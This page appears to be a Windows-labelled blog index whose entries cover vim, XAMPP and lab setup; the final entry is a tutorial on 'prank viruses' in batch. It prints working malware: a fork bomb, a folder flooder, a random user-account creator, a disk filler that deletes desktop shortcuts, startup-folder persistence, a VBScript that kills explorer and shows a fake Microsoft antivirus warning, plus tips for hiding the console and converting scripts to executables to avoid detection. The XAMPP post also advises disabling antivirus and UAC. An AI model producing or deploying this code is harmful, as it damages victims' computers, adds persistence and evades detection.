Showing posts with label Windows. Show all posts
Showing posts with label Windows. Show all posts

vim plugins installation and some basic .vimrc configuration

Installing plugin manager Pathogen

Run below commands:
 $ mkdir -p ~/.vim/autoload ~/.vim/bundle
 $ curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
Add below lines to ~/.vimrc file :
 execute pathogen#infect()
 syntax on
 filetype plugin indent on
Installing NERDTREE plugin:

Commands :
 $ cd ~/.vim/bundle
 $ git clone https://github.com/scrooloose/nerdtree.git
Add below lines to ~/.vimrc file :
 map <F2> :NERDTree<CR>
 autocmd StdinReadPre * let s:std_in=1
 autocmd VimEnter * if argc() == 0 && !exists("s:std_in") | NERDTree | endif
To open the NERDTREE pane press F2.

Using language Templates in vim :

Create templates folder on ~/.vim folder
 $ mkdir ~/.vim/templates
 $ cd ~/.vim/templates
Now create template files on ~/.vim/templates/ directory. Some examples of template files are as follows :
Read more »

Installing Python Interpreter in Windows 10

Python is a popular high-level programming language used for general purpose programming. But unlike Linux/Unix based operating systems, python interpreter does not come pre-packaged with windows 10. It means we have to install it by ourselves.

Installing python in Windows 10 in very easy, we just need to download the installer file and install it. You can download python interpreter for windows from below link :
Read more »

How to Install bWAPP (buggy Web App) Web Application on Windows with XAMPP

bWAPP, or a buggy web application, is a free and open source PHP based web application for Practicing Web Pentesting and learn about web vulnerabilities in a safe environment. Its main goal is to provide a safe and legal environment for security professionals and students to test their skills and tools and learn about Web security.
Read more »

How to Install DVWA(Damn Vulnerable Web App) Web Application on Windows with XAMPP

DVWA or Damn Vulnerable Web App is a PHP based web application for Practicing Web Pentesting and learn about web vulnerabilities in a safe environment. Its main goal is to provide a safe and legal environment for security professionals and students to test their skills and tools and learn about Web security.
Read more »

Banner Grabbing with Python

In the previous post we saw the basics of banner grabbing techniques. Now we are trying to grab banners with some python scripts. In python we are going to use socket module to connect to target services. The socket module exposes the low-level C API for communicating over a network using the BSD socket interface.
Read more »

How to Map a Network Drive in Windows 7/8/10


In windows Mapping a Shared Folder or Shared Drive into a Network Drive is very easy task. When we map a Shared Folder or Shared Drives into a Network Drive, then it will show up as a new drive in the 'My Computer' or 'This PC' in windows 10. So we can easily access the shared files and documents we need, just like local hard drive. Now follow the below steps To Map a Network Drive :

Read more »

How to Share Folders/Drives and Map Network Drives in Windows 7, 8 and 10 on your Home Network

Public folder sharing in Windows based system is suitable for anyone who wish to share files with many users on their and Lan network quickly. Sharing a folder or an entire hard drive with computers, connected over Home or Lan network has a number of benifits. All the computers and devices on the network can access the shared resource.

Read more »

A Beginners Guide To SSH : How to start with SSH

The most common way of connecting to a remote Linux server is through SSH (aka Secure Shell). SSH is a secure protocol used as the primary means of connecting to Linux servers remotely. It provides a text-based interface by spawning a remote shell. After connecting, all commands you type in your local terminal are sent to the remote server and executed there. SSH uses public key cryptography for both connection and authentication. SSH is the default tool for system administrator to perform various tasks on servers remotely. In order to use SSH to access your server remotely, you will need a SSH client on your local machine. For Linux machines ssh-client is comes with built-in, and for windows machine you can use putty : https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html here.

Read more »

Registry Tweaker : Easily Enable/Disable Task Manager, Registry editor and Command Prompt in Windows XP/7/8

 

About :

Registry Tweaker is a small GUI tool written in C++, which helps you to quickly and easily Enable/Disable Task Manager, Registry editor(regedit.exe) and Commad prompt by a single click. It is fully portable and works on all versions of windows from windows XP to windows 8 [32bit/64bit both].

Download it from here :   

How To Use :

@. Run Registry Tweaker with admin privilege. In windows XP just double click on it, and in windows vista, 7, 8 right click on program then click on Run as Administrator.


note : In windows vista/7/8 program does not work without admin privilege, either it will show an error message.

@. At startup it will automatically display the status of utilities Enabled or Disabled.


@. Now to Enable or Disable any utility you just need to check the checkbox at front of that utility and then just click on Enable or Disable button.


How To Use Video :

I hope you like this tool, and thanks for visiting us.!!

Read more »

How to Install & Configure XAMPP Server in Windows 8


Hello guys, In this post we will look at how to properly install and configure XAMPP Server in Windows 8. XAMPP stands for [X]Cross Platform, Apache, Mysql, Php, Perl. It is a software package which contains all programs and executable files to create a local Web Server, where we can learn Mysql database, Php scripting or either test our Web applications without online-connectivity. XAMPP package mainly contains Apache http-server, Mysql Database application, Php, Strawberry perl, FileZilla FTP server, Mercury SMTP server and Tomcat. So lets get started ...

  • Installing XAMPP Server

First of all download the XAMPP executable installer file from here :    www.apachefriends.org


You can download any one of given files, i downloaded the first one. If you have antivirus installed on your system then disable it, because some times it causes errors during installation process and also disable the UAC settings in windows 8. To do this just open search box and type "msconfig" then click on it.



after that in 'System Configuration' Box click 'tools' tab, select 'Change UAC Settings' then click 'Launch' button.


In the next window drag the seek at bottom option 'Never Notify', then then hit OK button on both windows.


Now run XAMPP setup file, after the splash screen if a 'question' box will appear then click 'Yes' and in 'Warning' box click OK.



after that click on next button.


at that window you can choose which components you want to install, select default and click next button.


here you can select where you want to put all XAMPP files, default is c:\xampp, and click next.


in next window un-check the check-box and click next.


Click on next again and wait for completion of installation process.


after the installation process click on Finish button.

  • Configure XAMPP Server


In XAMPP Control Panel click 'start' button to start the different services and if you want to stop the process then hit stop button. Here is the brief Description of XAMPP Control Panel


Service Control : with these buttons we can start, stop, see logs and configure service settings.

XAMPP Buttons :

Config    : Open configuration window.
Netstat    : Show all listening and open ports.
Shell       : start a command prompt at Xampp directory.
Explorer : Open xampp folder in xplorer.
Services : start "services.msc"

now in order to start services just press the 'start' button and when a box named "Windows Security Alet" pops-up then click 'Allow Access' button.


by the above step services are unblocked by the firewall, Do same for the Mysql. Now its time to test our web server, open your web browser and type http://127.0.0.1/ or http://localhost/ and hit enter then choose your language and now we are in the main page of XAMPP server.


  • Testing XAMPP Server
Now we create a simple Php script to test the Php installation. start notepad and paste this code -

<?php
echo "hello world!! this is a test.";
?>

save this as test.php on 'C:\xampp\htdocs\' folder then type http://127.0.0.1/test.php on browser and hit enter.


Now to test the mysql database click on the shell button on XAMPP Control Panel then type these commands on it

mysql -u root
show databases;


above commands are lists all databases in mysql. The Configuration process of FileZilla FTP server is found in this article. And if you want to run the Tomcat service then first you need to download and install Java JDK or JRE, which can be found here :  
after installing java JDK/JRE you are able to run tomcat service.

  • Access XAMPP Server over LAN

By default XAMPP server only accessed by local user. If you want to access XAMPP server through Len then you need to modify the 'httpd-xampp.conf' file. To do this open XAMPP Control Panel and click on 'config > Apache(httpd-xampp.conf)' option


then scroll down to the bottom of  configuration file, where you need to replace these two lines 


with this : Require all granted
save the configuration file and restart apache server, and now you are able to access the XAMPP server over Lan.


So that's it. We can Successfully installed XAMPP server. I hope you like this and if you have any question or suggestion about this post then please leave a comment.

Thanks For visiting..!!
Read more »

Compress Folders via Command line using VBscript



Hi guys, Here is a small VBscript for compress or Zip/Unzip folders via command line in windows.

Code :

1:  ' Script name : zuip.vbs  
2: 
3:  ' A simple vbscript for zipping a folder or unzip a Zip File.  
4:  '  
5:  ' By : http://www.Sec-Articles.blogspot.com   03/2015  
6:  '  
7:  ' credits : peter mortensen for zipping function.(http://www.superuser.com/users/517/peter-mortensen)  
8:  '  
9:  ' Usage :-  
10: '  
11: ' For Zipping  : cscript zuip.vbs C [path_to_folder] [path_to_zip_file]  
12: '  
13: ' For Unzipping : cscript zuip.vbs E [path_to_Zip_Archive] [path_to _Extract]  
14: '  
15:    
16:  Option Explicit  
17:    
18:  Dim ObjArgs  
19:  Set ObjArgs = Wscript.Arguments  
20:    
21:  IF (ObjArgs.Count <> 3) Then  
22:          Wscript.echo "??.. Something Error in Arguments..!!"  
23:          Wscript.echo "Options : "  
24:          Wscript.echo "For Zipping -"  
25:          Wscript.echo "cscript zuip.vbs C [path_to_folder] [path_to_zip_file] "  
26:          Wscript.echo "For Unzipping -"  
27:          Wscript.echo "cscript zuip.vbs E [path_to_Zip_Archive] [path_to _Extract]"  
28:          Wscript.quit  
29:  End IF  
30:    
31:  Select Case ObjArgs(0)  
32:      Case "C"  
33:          Zipper ObjArgs(1), ObjArgs(2)  
34:      Case "c"  
35:          Zipper ObjArgs(1), ObjArgs(2)  
36:      Case "E"  
37:          Unzipper ObjArgs(1), ObjArgs(2)  
38:      Case "e"  
39:          Unzipper ObjArgs(1), ObjArgs(2)  
40:      Case Else  
41:          Wscript.echo "No Match Found..!!!"  
42:          Wscript.echo "Options : "  
43:          Wscript.echo "For Zipping -"  
44:          Wscript.echo "cscript zuip.vbs C [path_to_folder] [path_to_zip_file] "  
45:          Wscript.echo "For Unzipping -"  
46:          Wscript.echo "cscript zuip.vbs E [path_to_Zip_Archive] [path_to _Extract]"  
47:  End Select  
48:    
49:    
50:  '  
51:  ' Zipping Function  
52:  '  
53:  Function Zipper(SrcF, DestF)  
54:    
55:      Dim fsys  
56:      set fsys = Wscript.CreateObject("Scripting.FileSystemObject")  
57:        
58:      IF Not (fsys.FolderExists(SrcF)) then  
59:          Wscript.echo " Source Folder Could not found..!! Please Check the path Again."  
60:          Exit Function  
61:      End IF   
62:        
63:      IF (fsys.FileExists(DestF)) then  
64:          Wscript.echo " Zip file Already Exists..!! Deleting it..?"  
65:          fsys.DeleteFile DestF  
66:          Wscript.echo " Zip file Deleted SuccessFully."  
67:      End IF   
68:    
69:      ' create an empty zip file  
70:      CreateObject("Scripting.FileSystemObject").CreateTextFile(DestF, True).Write "PK" & chr(5) & chr(6) & String(18, 0)  
71:        
72:      dim objshell, src, des  
73:        
74:      Set objshell = CreateObject("Shell.Application")  
75:      Set src = objshell.NameSpace(SrcF)  
76:      Set des = objshell.NameSpace(DestF)  
77:        
78:      des.CopyHere(src.Items)  
79:        
80:      Do Until des.Items.Count = src.Items.Count  
81:          Wscript.Sleep(200)  
82:      Loop  
83:    
84:      Wscript.echo "SuccessFully Zipped...!!!"      
85:            
86:      Set fsys = Nothing  
87:      Set objshell = Nothing  
88:      Set src = Nothing  
89:      Set des = Nothing  
90:    
91:  End Function   
92:    
93:    
94:  '  
95:  ' Unzipping Function   
96:  '  
97:  Function Unzipper(zipF, extrF)  
98:    
99:      Dim fsys  
100:      set fsys = Wscript.CreateObject("Scripting.FileSystemObject")  
101:        
102:      IF Not (fsys.FileExists(zipF)) Then  
103:          Wscript.echo "Could not Found Zip Archive..!! please Check the Path Again."  
104:          Exit Function  
105:      End IF  
106:        
107:      IF Not (fsys.FolderExists(extrF)) Then  
108:          Wscript.echo "Could not Found Folder To Extract..!! Creating Folder..."  
109:          fsys.CreateFolder(extrF)  
110:          Wscript.echo "Folder Created SuccessFully."  
111:      End IF  
112:        
113:      Dim objshell, zip, extr  
114:        
115:      Set objshell = CreateObject("Shell.Application")  
116:      Set zip = objshell.NameSpace(zipF)  
117:      Set extr = objshell.NameSpace(extrF)  
118:        
119:      extr.CopyHere(zip.Items)  
120:        
121:      Do Until extr.Items.Count = zip.Items.Count  
122:          Wscript.Sleep(200)  
123:      Loop  
124:        
125:      Wscript.echo "SuccessFully Extracted.!!"  
126:        
127:      Set fsys = Nothing  
128:      Set objshell = Nothing  
129:      Set zip = Nothing  
130:      Set extr = Nothing  
131:        
132:  End Function  

Download it From here :

How To Use :


For Compress a Folder

 Syntax  : cscript zuip.vbs C [path_to_folder] [path_to_zip_file]  
 Example : cscript zuip.vbs C "C:\Users\Ajay\desktop\test" "C:\Users\Ajay\desktop\test.zip"  

and for extracting files from a Zip archive

 Syntax  :  cscript zuip.vbs E [path_to_Zip_Archive] [path_to _Extract]  
 Example :  cscript zuip.vbs E "C:\Users\Ajay\desktop\test.zip" "C:\Users\Ajay\desktop\test"  

How To Use Video :




Ok..!! Thats all for this.
I hope you like this.
& Thanks for visiting.


Read more »

How to Install & Run Turbo C++ in Windows 7/8 (32/64 bit) with Full-Screen



Turbo C++ is a16 bit MS-DOS based application which works perfectly on windows xp and older versions, but newer version of windows Operating Systems does not totally support 16 bit applications. The 32 bit version of windows 7/8 only runs Turbo C++ IDE and when you try to compile your code then it fails, because it could not support 16 bit compiler and 64 bit OS only support 32 bit and 64 bit applications. So in order to run Turbo C++ in windows 7/8 we use an application DosBox, which basically emulates a 16bit MS-DOS like Operating System environment. I have created a single installer which automatically installs DosBox, Turbo C++ and configure it. Here is download Links :

32bit version   download link
64bit version   download link

How To Install Video



Or if you want to install and configure it yourself then here is the method :
First of all download TurboC++ and DosBox setup from here :

TurboC++    Click here to download
DosBox        Click here to download

Create a folder in C drive to store all 16 bit applications. in my case i create a folder named "16bit".
Extract TurboC++ files on recently created folder, after that install & run DosBox then type following commands on it.

mount C C:\16bit\


above command will mount the folder "16bit" as C drive for emulated DOS-OS

C:


this command will change drive into C.

cd tc\bin


this command will change directory and locate tc.exe file

tc.exe


now this command launches TurboC++. For full-screen just press ALT + ENTER

Now you need to Re-map two keys F9 and Left Control, because if you press both keys to compile and run your code then DosBox will be closed down. So to Re-map keys start DosBox and press Left-Control + F1, then select F9 button by clicking on it and then click on 'del' button.


Then repeat same process for Left-Control button.


Now again click F9 button, then click 'add' button, after that press F9 button on your keyboard, this will assign new event for F9 button.


Again repeat same process for Left-Control button.


then click on save button and exit.


the above processes will re-map both keys.

You can also automate the mounting process by editing DosBox configuration file. To do this just go-to start menu and type "DosBox Options" in Search Box.


Now click on "DOSBox 0.74 Options", this will open up DosBox configuration file, after that scroll down bottom of file and add these code :

mount C C:\16bit\
C:
cd tc\bin
tc.exe


note : adjust your file path for tc directory in first command, in my case it is "C:\16bit\", then save it. Now when you run DosBox then TurboC++ will automatically start. that is the manual process. If you have faced any problem of those instructions then just download and install the above given automated installers.

Thanks for reading this Post.
& if you like it, then please comment and share it. Thank you ...!!
Read more »

Creating Funny Prank Viruses with Batch File Scripting


With Batch scripts we can creates some cool and funny virus scripts. In this post i am gonna explain you some batch virus scripts. But remember don't run these scripts directly in your PC otherwise it will crash your PC, i test all these scripts in Virtual Box. In order to properly understand these codes or create your own virus scripts you need to know some basics of Batch scripting and windows commands. For the Basics of Batch scripting see my previous post Windows Batch Scripting Guide For Beginners or just Google about it.

Note : This article is Only written for educational purpose and i just want to show you some Batch scripting hacks. If you harm yours or others system then i am not responsible for it.

So Now Lets see some Batch virus codes :

Folder_Bomber

 

::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop


The above script will randomly creates thousands of folders on Desktop. To create a Batch script just open the notepad and paste that above given code on it then go to the file menu and click on "Save as" option, change the "Save as type" to "All files" and type "virus.bat" to filename box where ".bat" is extension of Batch file then click on save button.




To run this virus just click on it.

Program_Bomber

::Program Bomber
@echo off
:loop
start cmd.exe
start notepad.exe
start calc.exe
start explorer.exe
start write
start mspaint
goto loop 


This code will runs command prompt, notepad, Calculator, MSword, MSpaint etc. in infinite loop.

PC_Crasher

 

 @echo off
:Loop
start %0
goto Loop


The above code will crash the PC.

Account_Creator

 

@echo off
:Loop
net user %random% %random% /add
goto Loop


The above code will creates new user accounts with random names and passwords. Note the "net user" command will need administrator privilege, thus to run the above code on windows 7 & 8 you need to admin privilege.

Site_Opener

 

@echo off
:Loop
start www.google.com
start www.yahoo.com
start www.bing.com
start www.microsoft.com
start www.softpedia.com
start www.youtube.com
start www.facebook.com
start www.twitter.com
start www.whatsapp.com
start www.amazon.com
start www.ebay.com
start www.apple.com
start www.intel.com
start www.amd.com
goto Loop


This code will open all these site in infinite loop.

Drive_Pumper 

 

@echo off
setlocal ENABLEEXTENSIONS
cd %appdata%
set name=%random%
echo "This is just a sample line appended  to create a big file. " > %name%.dll
for /L %%i in (1,1,24) do type %name%.dll >> %name%.dll
attrib +r +h %name%.dll
del "%userprofile%\Desktop\*.lnk"


The above code will create a 1 GB garbage file on AppData folder and then delete all the Desktop icons.

Running Batch script in hidden Mode

When we run these batch scripts, its shows a console window. To solve these problem we need to run batch script with the help of a VBscript. Here is the code for VBscript


set RunBatch = createObject("WScript.Shell")
RunBatch.Run "Path of Batch Script", vbHide, TRUE

The file extension of VBscript is ".vbs". For running a Batch script named "test.bat", codes will be


set RunBatch = createObject("WScript.Shell")
RunBatch.Run "C:\Users\Ajay\Desktop\test.bat", vbHide, TRUE


 to run batch file, just click on the Vbscript file


where hidden.vbs is vbscript.

Running Virus at every Startup

Now if you want to automatically run these virus files at every startup then copy the Batch file into this Location

in Windows 7 & 8 : "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"

in Windows Xp     : "%userprofile%\Start Menu\Programs\Startup"

or add this extra code into the beginning of the batch virus file

@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes

:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus

:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus

:install_virus
copy %0 %RC%

:virus_codes
:: Now your virus codes starts here


The above code will first examine the victim's OS, then automatically copy itself into startup folder. After apply this above code on Folder_Bomber's codes looks like



@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes

:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus

:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus

:install_virus
copy %0 %RC%

:virus_codes
:: Now your virus codes starts here
::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop




VBscript Virus

 

Now here is a Batch code which creates a VBscript in startup folder. This VBscript virus will automatically start after every reboot and terminate the Desktop, shows the fake error message then start Desktop[explorer.exe] again & again 50 times with some time duration. Here is codes

 @echo off & setlocal ENABLEEXTENSIONS  
 for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)  
 if %op%==7 (goto _7_8_installer)  
 if %op%==2002 (goto _Xp_installer)  
 if %op%==8 (goto _7_8_installer)  
 goto end  
 :_7_8_installer  
 set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"  
 goto Create_virus  
 :_Xp_installer  
 set RC="%userprofile%\Start Menu\Programs\Startup"  
 goto Create_virus  
 :Create_virus  
 echo Dim i > %RC%\virus.vbs  
 echo i = 0 >> %RC%\virus.vbs  
 echo Do >> %RC%\virus.vbs  
 echo  wscript.sleep 100000 >> %RC%\virus.vbs  
 echo  Set Myshell = wscript.CreateObject("WScript.Shell") >> %RC%\virus.vbs  
 echo  Myshell.run "taskkill /F /IM explorer.exe" >> %RC%\virus.vbs  
 echo  wscript.sleep 1000 >> %RC%\virus.vbs  
 echo  btv = msgbox("It seems Your Anti-Virus Program does not work Properly, So Please update it or remove it now.", 6, "Microsoft!!") >> %RC%\virus.vbs  
 echo  wscript.sleep 10000 >> %RC%\virus.vbs  
 echo  Myshell.run "explorer.exe" >> %RC%\virus.vbs  
 echo  i = i + 1 >> %RC%\virus.vbs  
 echo Loop until i = 50 >> %RC%\virus.vbs  
 goto end  
 :end  
 exit  

 

Converting Batch file into Executable Application

 

It is easier to detect Batch virus because anyone can saw the codes of Batch scripts. So to prevents this we also convert a Batch script into executable application using third party softweres.

Bat_To_Exe_Converter

 

first browse the batch file and then click on compile button, this program also consists some additional options like Custom Icon, run in background, delete after execution etc.

You can also try this Bat2Exe_Converter program written by me in vb.net. It consists some additional functionality like File Binding options etc.


For more details and Download see my previous post : Batch 2 Exe Converter written in  VB.net
It would worked fine in Windows 7 & 8 (both 32/64 bit), but due to dotnetframework dependency it might not work on windows Xp.

Batch virus Generator Programs 

You can also creates Batch virus using Virus creation Tools. Some of the best batch Virus creation tools are listed below

 DELmE's Batch Virus Maker

 


 In Shadow Batch Virus Generator



                                                 Click_Here_To_Download


Note : your antivirus program will treat these virus generation programs as a virus so use this program at your own risk.

That's it!!, I hope you like this article, Thanks for visiting. !!!!

   

 

Read more »